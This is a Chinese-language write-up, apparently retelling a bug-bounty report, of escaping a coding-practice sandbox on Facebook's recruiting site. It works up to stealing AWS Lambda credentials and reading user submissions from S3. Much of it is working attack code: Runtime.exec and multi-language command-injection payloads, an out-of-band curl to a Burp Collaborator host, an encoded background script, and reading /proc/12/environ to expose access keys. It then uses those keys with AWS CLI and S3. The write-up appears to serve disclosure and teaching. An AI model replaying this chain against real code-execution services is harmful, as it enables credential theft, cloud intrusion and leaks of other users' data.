部分网站开设编码练习,若安全配置不当,则代码执行将升级为操作系统命令注入,导致敏感信息泄露。
本文仅分享命令执行相关知识,不承担任何由于传播、利用本文所发布内容而造成的任何后果及法律责任。未经许可,不可转载。
facebookrecruiting.com
是 Facebook 用于招聘的网站,其网站页面存在面试准备
模块:
尝试调用Runtime类的exec()方法来执行"/bin/sh -c cat /etc/passwd"命令:
class Main {
public static void main(String[] args) {
try {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /etc/passwd"}).getInputStream());
while ((s = in.readLine()) != null) {
System.out.println(s);
}
} catch (Exception ex) {
}
}
}
回显如下,得到Linux中passwd文件内容:
这说明程序运行时没有对用户代码进行容器的安全性包装。
尝试不对异常进行捕获,如果成功回显则说明程序并未对代码进行安全性处理:
class Main {
public static void main(String[] args) throws Exception {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "uname -a"}).getInputStream());
s = in.readLine();
System.out.println(s);
}
}
//uname -a命令显示系统信息,包括内核名称、版本、机器类型和操作系统
回显如下:
同时,所有语言的Payload均有效:
Python:获取当前用户的身份标识符 (UID) 和组标识符 (GID)
eval(compile("""for x in range(1):\n import os\n os.popen(r'id').read()""",'','single'))
JavaScript:列出当前目录中的文件和文件夹
require('child_process').exec ('ls',function(err, data){console.log(data);});
shell_exec("whoami");
system("curl -X GET -i http://xxxxxxxxxxxxxxxxx6vmiqkyzp5ft4.burpcollaborator.net");
其它命令如cat /proc/version、cat /etc/resolv.conf、ls -alR /tmp、ls -al /var/runtime均能执行,本文不再叙述。
上述危害似乎只是冰山一角,要扩大危害,AWS凭证是个突破口。
判断网站是否运用了AWS本文不叙。AWS凭证常置于 /proc/self/environ,但访问无果。
注意到Lambda 是 AWS 的一项核心服务,且与存储桶等挂钩,于是转变方向。
通过env查看环境变量:
class Main {
public static void main(String[] args) throws Exception {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ls /var/task"}).getInputStream());
while((s = in.readLine()) != null)
{
System.out.println(s);
}
}
}
回显两个文件名,尝试system("ls -al; cat/var/task/app.py")
访问app.py,但输出被限制。
使用Python构造Payload:sed -n "1, 200p" < app.py | sed -n "1, 200p" < app.py | base64-w0“1, 200p” < app.py | base64 -w0
(输出指定行经 base64 编码后的内容)
解码得到:
1、启动该函数的记录器和跟踪器
2、设置 S3 客户端连接
3、使用 shell 命令运行用户提供的代码
subprocess
4、在脚本执行期间临时取消设置AWS环境变量
5、将文件放入 S3 存储桶
6、清理
/tmp
目录
核心代码如下:
...
stored_env_values = {}
for key in os.environ:
if 'AWS' in key:
stored_env_values[key] = os.environ[key]
for key in stored_env_values:
del os.environ[key]
...
for key in stored_env_values:
os.environ[key] = stored_env_values[key]
...
首先将AWS环境变量复制到本地的Python变量中,然后删除它们,以防止脚本执行时能够访问AWS环境变量。命令执行后,再恢复隐藏的环境变量,这也就是访问**/proc/self/environ**得不到AWS凭证的原因。
既然做了如上限制,则思路应为:在脚本执行期间转储AWS凭证。
方法一:可以通过gc垃圾收集模块得到正在运行的Python脚本中对象的变量值,但当前脚本中并无AWS对象
方法二:尝试在执行完成后将所有现有的环境变量导出到一个用户定义的环境变量(ice)中:
实现脚本与代码执行的不同步:
#!/bin/sh
sleep 5
export ice=$(env | base64 -w0)
经过base64编码再结合部分语法得到:
echo "IyEvYmluL3NoCnNsZWVwIDUKZXhwb3J0IFdJTjNaWj0kKGVudiB8IGJhc2U2NCAtdzAp" | base64 -d > /tmp/w | chmod +x /tmp/w | chmod +x /tmp/w | nohup sh /tmp/w > /dev/null 2>&1 &
简要来说,将编码的 shell 脚本解码后,保存到文件中,使脚本作为后台进程运行,并丢弃脚本的任何输出(即输出变量ice)。
然而失败:
方法三:从Python包入手。借助pip freeze
命令检查所有已安装的 Python 包
存在psutil包,该包用于在 Python 中检索有关正在运行的进程和系统利用率(CPU、内存、磁盘、网络、传感器)的信息。
由于无法执行 ps 等Linux命令来检查正在运行的进程。因此,利用psutil分析正在运行的进程。
列出所有进程:
system("python -c 'import psutil;print(tuple(psutil.process_iter()));'");
(psutil.Process(pid=1, name=‘init’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=8, name=‘cloudwatch_lambda_agent’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=11, name=‘python3.9’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=298, name=‘bash’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=299, name=‘timeout’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=300, name=‘time’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=301, name=‘sh’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=302, name=‘php’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=303, name=‘python’, status=‘running’, started=‘03:17:02’))
可以看到,Python3.9以进程 ID 12 运行,故可通过pid 12
在 Linux 中分析相关元数据。
最终Payload如下:
system("cat /proc/12/environ");
?>
完整内容如下(已脱敏):
AWS_LAMBDA_FUNCTION_VERSION= L A T E S T A W S S E S S I O N T O K E N = i c e i c e i c e i c e / / / / / / / / / / w E a C L X d l c 3 Q t M S J I M E Y C I Q C U R c d 3 H b P w P z / s D E 6 m F 3 L g 6 y / n 18 P M J q + 7 J D 1 D v 8 C C I T / / / / / / / / / / w E Q A R o M O T M z N T E y N T U w M T g 2 I g y q Z k h E B 7 O + 3 u O Y M 4 t B x M x m k i i u r q Z P c u X j + h W A t U v h n X r y A f x l G 4 i R m Q 6 b X I y q T N 8 n T d M V y 4 U R n 9 v v N O Z a i R / q 9 F o Q V J w N A w e + 9 K g z A H C p C k q m G 3 j X B I c H + D x H y 24 b Y M 6 q y H j w f F 0 g S K / V H 04 f R o e S 4 k J h W m H 1 A Y c y j e j X Q l x 9 J l 2 p M y d L T w 67 Z S g B S D 9 B Y s K O N 7 i + q m X K n 9 G 7 R D w / H J 6 s 6 a R 6 y 2 L k a S h s h N s x n 1 Q T / s 61 F h a U L 5 r r 7 A t 7497 h E 0 W 5 A F Z 4 j C g v B 7 o 2 / K 3 r s a l Y v o d P y s P 5 J 7 w B / U a L x n g w 8 x S V Y H M C u a 9 b m a a q 6 t t / + U I 7 t H Y B S / O J N M Z g 7 N 6 h J Q e P b n d k T 4 Y y K Z i Q e z J 5 E q + e 9 w U g w 68 i S r Q Y 6 n Q E D W V 1 I x 1 p P P y 5 U d 9 S h C v U K P o 9 J 8 j C 3 n 1 k s u x f Y J k k p i q C m O K v j h Q T s x D H 88 Q 1 Q / d M 9 X p 4 s r F v x + K 9 x l g 5 Y z l v N e V N h h 2 P b A P 7 e R 5 s b K d F k B j g 4 c J Y x K g l N Q Q m l N q M h H d W F W q h b h h 8 X N E r D A a b h U 0 l G 6 g N W G A L A M B D A T A S K R O O T = / v a r / t a s k A W S L A M B D A L O G G R O U P N A M E = / a w s / l a m b d a / r u n c o d e f u n c t i o n L D L I B R A R Y P A T H = / v a r / l a n g / l i b : / l i b 64 : / u s r / l i b 64 : / v a r / r u n t i m e : / v a r / r u n t i m e / l i b : / v a r / t a s k : / v a r / t a s k / l i b : / o p t / l i b A W S L A M B D A L O G S T R E A M N A M E = 2024 / 01 / 15 / [ LATESTAWS_SESSION_TOKEN=iceiceiceice//wEaCLXdlc3QtMSJIMEYCIQCURcd3HbPwPz/sDE6mF3Lg6y/n18PMJq+7JD1Dv8CCIT//wEQARoMOTMzNTEyNTUwMTg2IgyqZkhEB7O+3uOYM4tBxMxmkiiurqZPcuXj+hWAtUvhnXryAfxlG4iRmQ6bXIyqTN8nTdMVy4URn9vvNOZaiR/q9FoQVJwNAwe+9KgzAHCpCkqmG3jXBIcH+DxHy24bYM6qyHjwfF0gSK/VH04fRoeS4kJhWmH1AYcyjejXQlx9Jl2pMydLTw67ZSgBSD9BYsKON7i+qmXKn9G7RDw/HJ6s6aR6y2LkaShshNsxn1QT/s61FhaUL5rr7At7497hE0W5AFZ4jCgvB7o2/K3rsalYvodPysP5J7wB/UaLxngw8xSVYHMCua9bmaaq6tt/+UI7tHYBS/OJNMZg7N6hJQePbndkT4YyKZiQezJ5Eq+e9wUgw68iSrQY6nQEDWV1Ix1pPPy5Ud9ShCvUKPo9J8jC3n1ksuxfYJkkpiqCmOKvjhQTsxDH88Q1Q/dM9Xp4srFvx+K9xlg5YzlvNeVNhh2PbAP7eR5sbKdFkBjg4cJYxKglNQQmlNqMhHdWFWqhbhh8XNErDAabhU0lG6gNWGALAMBDA_TASK_ROOT=/var/taskAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/run_code_functionLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWS_LAMBDA_LOG_STREAM_NAME=2024/01/15/[ LATESTAWSSESSIONTOKEN=iceiceiceice//wEaCLXdlc3QtMSJIMEYCIQCURcd3HbPwPz/sDE6mF3Lg6y/n18PMJq+7JD1Dv8CCIT//wEQARoMOTMzNTEyNTUwMTg2IgyqZkhEB7O+3uOYM4tBxMxmkiiurqZPcuXj+hWAtUvhnXryAfxlG4iRmQ6bXIyqTN8nTdMVy4URn9vvNOZaiR/q9FoQVJwNAwe+9KgzAHCpCkqmG3jXBIcH+DxHy24bYM6qyHjwfF0gSK/VH04fRoeS4kJhWmH1AYcyjejXQlx9Jl2pMydLTw67ZSgBSD9BYsKON7i+qmXKn9G7RDw/HJ6s6aR6y2LkaShshNsxn1QT/s61FhaUL5rr7At7497hE0W5AFZ4jCgvB7o2/K3rsalYvodPysP5J7wB/UaLxngw8xSVYHMCua9bmaaq6tt/+UI7tHYBS/OJNMZg7N6hJQePbndkT4YyKZiQezJ5Eq+e9wUgw68iSrQY6nQEDWV1Ix1pPPy5Ud9ShCvUKPo9J8jC3n1ksuxfYJkkpiqCmOKvjhQTsxDH88Q1Q/dM9Xp4srFvx+K9xlg5YzlvNeVNhh2PbAP7eR5sbKdFkBjg4cJYxKglNQQmlNqMhHdWFWqhbhh8XNErDAabhU0lG6gNWGALAMBDATASKROOT=/var/taskAWSLAMBDALOGGROUPNAME=/aws/lambda/runcodefunctionLDLIBRARYPATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWSLAMBDALOGSTREAMNAME=2024/01/15/[LATEST]13b8d2634c675d20d5aAWS_LAMBDA_RUNTIME_API=xxx.xxx.xxx.xxx:iceiAWS_EXECUTION_ENV=AWS_Lambda_python3.9AWS_LAMBDA_FUNCTION_NAME=run_code_functionAWS_XRAY_DAEMON_ADDRESS=169.xxx.xx.xxx:iceiPATH=/usr/local/scala-2.xxx.xxx/bin:/usr/local/go/bin:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/binAWS_DEFAULT_REGION=us-west-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=MJpjnbjhtxxxLKViceZdiceiceiceAudo+SdsAjOy1LANG=en_US.UTF-8LAMBDA_RUNTIME_DIR=/var/runtimeAWS_LAMBDA_INITIALIZATION_TYPE=on-demandTZ=:/etc/localtimeAWS_REGION=us-west-1AWS_ACCESS_KEY_ID=ASIA5SWNPCxxxxxxxYFXSHLVL=0_AWS_XRAY_DAEMON_ADDRESS=xxx.xxx.xx.xxx_AWS_XRAY_DAEMON_PORT=xxxxAWS_XRAY_CONTEXT_MISSING=LOG_ERROR_HANDLER=app.lambda_handlerAWS_LAMBDA_FUNCTION_MEMORY_SIZE=xxxx
可以看到AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN均能显现,从而导致未经授权的访问、敏感信息泄露等。
该危害的利用将具化如下。
使用 AWS CLI 工具检查 AWS 凭证的有效性:
export AWS_SESSION_TOKEN=XXXXX
export AWS_SECRET_ACCESS_KEY=XXXXX
export AWS_ACCESS_KEY_ID=XXXXX
aws sts get-caller-identity
回显表示来自 IAM STS 的临时安全凭证,用于向 AWS 资源发出编程请求。
对AWS环境进行分析时发现:AWS Lambda函数在本地主机的9001端口上暴露了一个内部API,而该API本来只应该由服务器/云管理员访问。故可访问API的某个特定端点,获取函数执行时传入的数据(可能包含敏感数据)
运行system("curl -X GET -i http://localhost:9001/2018-06-01/runtime/inspiration/next");
得到:
HTTP/1.1 200 OK
Content-Type: application/json
Lambda-Runtime-Aws-Request-Id: fd9e4cc8-c142-48d9-943d-e6b1e1859823
Lambda-Runtime-Deadline-Ms: 1650825840458
Lambda-Runtime-Invoked-Function-Arn: arn:aws:lambda:us-west-1:933512550186:function:run_code_function
Lambda-Runtime-Trace-Id: Root=1-62659a33-6515445a649a51be4f72ed0b;Parent=ff2d67174177dd6f;Sampled=1
Content-Length: 367
{
"execution_step":"run",
"user_code":{
"file_name":"source.txt",
"language":"PHP"
},
"inputfile":484109642711496,
"submission_id":408496154056779,
"s3_region":"us-west-1",
"time_limit_per_case_in_ms":10000,
"upload_uri":"source.txt",
"execution_command":"php /tmp/source.txt < /tmp/input.in",
"memory_limit_in_bytes":536870912,
"s3_bucket":"terraform-20210608051810146400000001"
}
访问s3存储桶:aws s3 cp s3://terraform-20210608051810146400000001/751854516023863/source.txt myOutputFile.txt
可以看到,用户Kevin的解决方案已被泄露:
参考链接:
https://medium.com/@win3zz/facebook-bug-a-journey-from-code-execution-to-s3-data-leak-698b7d2b02ef